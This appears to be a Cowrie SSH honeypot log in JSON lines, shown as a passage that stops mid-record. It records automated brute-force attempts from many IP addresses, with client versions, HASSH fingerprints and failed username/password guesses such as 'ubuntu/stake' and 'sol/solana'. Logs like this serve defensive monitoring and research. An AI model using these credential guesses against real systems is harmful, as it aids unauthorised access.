{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:21.052291Z","src_ip":"201.16.238.49","session":"e38f51555ca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"k8suser","password":"123","message":"login attempt [k8suser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:21.644039Z","src_ip":"201.16.238.49","session":"e38f51555ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:22.786678Z","src_ip":"201.16.238.49","session":"e38f51555ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":59572,"dst_ip":"159.203.135.109","dst_port":22,"session":"f65fbdf5f416","protocol":"ssh","message":"New connection: 2.57.122.210:59572 (159.203.135.109:22) [session: f65fbdf5f416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:36.981933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:36.987210Z","src_ip":"2.57.122.210","session":"f65fbdf5f416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:37.087113Z","src_ip":"2.57.122.210","session":"f65fbdf5f416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"stake","message":"login attempt [ubuntu/stake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:37.387000Z","src_ip":"2.57.122.210","session":"f65fbdf5f416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:38.488738Z","src_ip":"2.57.122.210","session":"f65fbdf5f416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":60290,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d34dc8cd5a9","protocol":"ssh","message":"New connection: 165.154.22.233:60290 (10.17.0.5:22) [session: 4d34dc8cd5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:41.247562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:41.252041Z","src_ip":"165.154.22.233","session":"4d34dc8cd5a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:41.479113Z","src_ip":"165.154.22.233","session":"4d34dc8cd5a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":53100,"dst_ip":"10.17.0.5","dst_port":22,"session":"4406c35e5ecc","protocol":"ssh","message":"New connection: 170.238.160.191:53100 (10.17.0.5:22) [session: 4406c35e5ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:41.747610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:41.752445Z","src_ip":"170.238.160.191","session":"4406c35e5ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:41.863847Z","src_ip":"170.238.160.191","session":"4406c35e5ecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mgeweb","password":"password","message":"login attempt [mgeweb/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:42.337769Z","src_ip":"170.238.160.191","session":"4406c35e5ecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"showroom","password":"123456","message":"login attempt [showroom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:42.389048Z","src_ip":"165.154.22.233","session":"4d34dc8cd5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:43.451958Z","src_ip":"170.238.160.191","session":"4406c35e5ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:43.609612Z","src_ip":"165.154.22.233","session":"4d34dc8cd5a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":34234,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaa6e0b358ac","protocol":"ssh","message":"New connection: 130.250.191.201:34234 (10.17.0.5:22) [session: eaa6e0b358ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:56.011057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:56.017312Z","src_ip":"130.250.191.201","session":"eaa6e0b358ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:56.265797Z","src_ip":"130.250.191.201","session":"eaa6e0b358ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"syj","password":"syj","message":"login attempt [syj/syj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:57.318743Z","src_ip":"130.250.191.201","session":"eaa6e0b358ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:58.583950Z","src_ip":"130.250.191.201","session":"eaa6e0b358ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":58388,"dst_ip":"10.17.0.5","dst_port":22,"session":"abd0103284cb","protocol":"ssh","message":"New connection: 193.32.162.145:58388 (10.17.0.5:22) [session: abd0103284cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:13.131903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:13.136880Z","src_ip":"193.32.162.145","session":"abd0103284cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:13.240900Z","src_ip":"193.32.162.145","session":"abd0103284cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"solana","message":"login attempt [sol/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:13.667481Z","src_ip":"193.32.162.145","session":"abd0103284cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:14.772803Z","src_ip":"193.32.162.145","session":"abd0103284cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":51952,"dst_ip":"10.17.0.5","dst_port":22,"session":"243703229502","protocol":"ssh","message":"New connection: 45.148.10.121:51952 (10.17.0.5:22) [session: 243703229502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:23.247591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:23.252773Z","src_ip":"45.148.10.121","session":"243703229502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:23.327770Z","src_ip":"45.148.10.121","session":"243703229502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:23.485369Z","src_ip":"45.148.10.121","session":"243703229502","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":60602,"dst_ip":"10.17.0.5","dst_port":22,"session":"16ac53a41a7a","protocol":"ssh","message":"New connection: 14.225.2.125:60602 (10.17.0.5:22) [session: 16ac53a41a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:48.798006Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:49.068728Z","src_ip":"14.225.2.125","session":"16ac53a41a7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":60604,"dst_ip":"10.17.0.5","dst_port":22,"session":"186470e0bdbd","protocol":"ssh","message":"New connection: 14.225.2.125:60604 (10.17.0.5:22) [session: 186470e0bdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:49.324802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:49.328928Z","src_ip":"14.225.2.125","session":"186470e0bdbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:49.597446Z","src_ip":"14.225.2.125","session":"186470e0bdbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wolle","password":"wolle","message":"login attempt [wolle/wolle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:50.402542Z","src_ip":"14.225.2.125","session":"186470e0bdbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:12:51.672840Z","src_ip":"14.225.2.125","session":"186470e0bdbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":47354,"dst_ip":"159.203.135.109","dst_port":22,"session":"462bed61ff6f","protocol":"ssh","message":"New connection: 162.120.6.20:47354 (159.203.135.109:22) [session: 462bed61ff6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:12.249014Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:12.317952Z","src_ip":"162.120.6.20","session":"462bed61ff6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":47356,"dst_ip":"159.203.135.109","dst_port":22,"session":"98078453681e","protocol":"ssh","message":"New connection: 162.120.6.20:47356 (159.203.135.109:22) [session: 98078453681e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:12.390228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:12.395074Z","src_ip":"162.120.6.20","session":"98078453681e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","e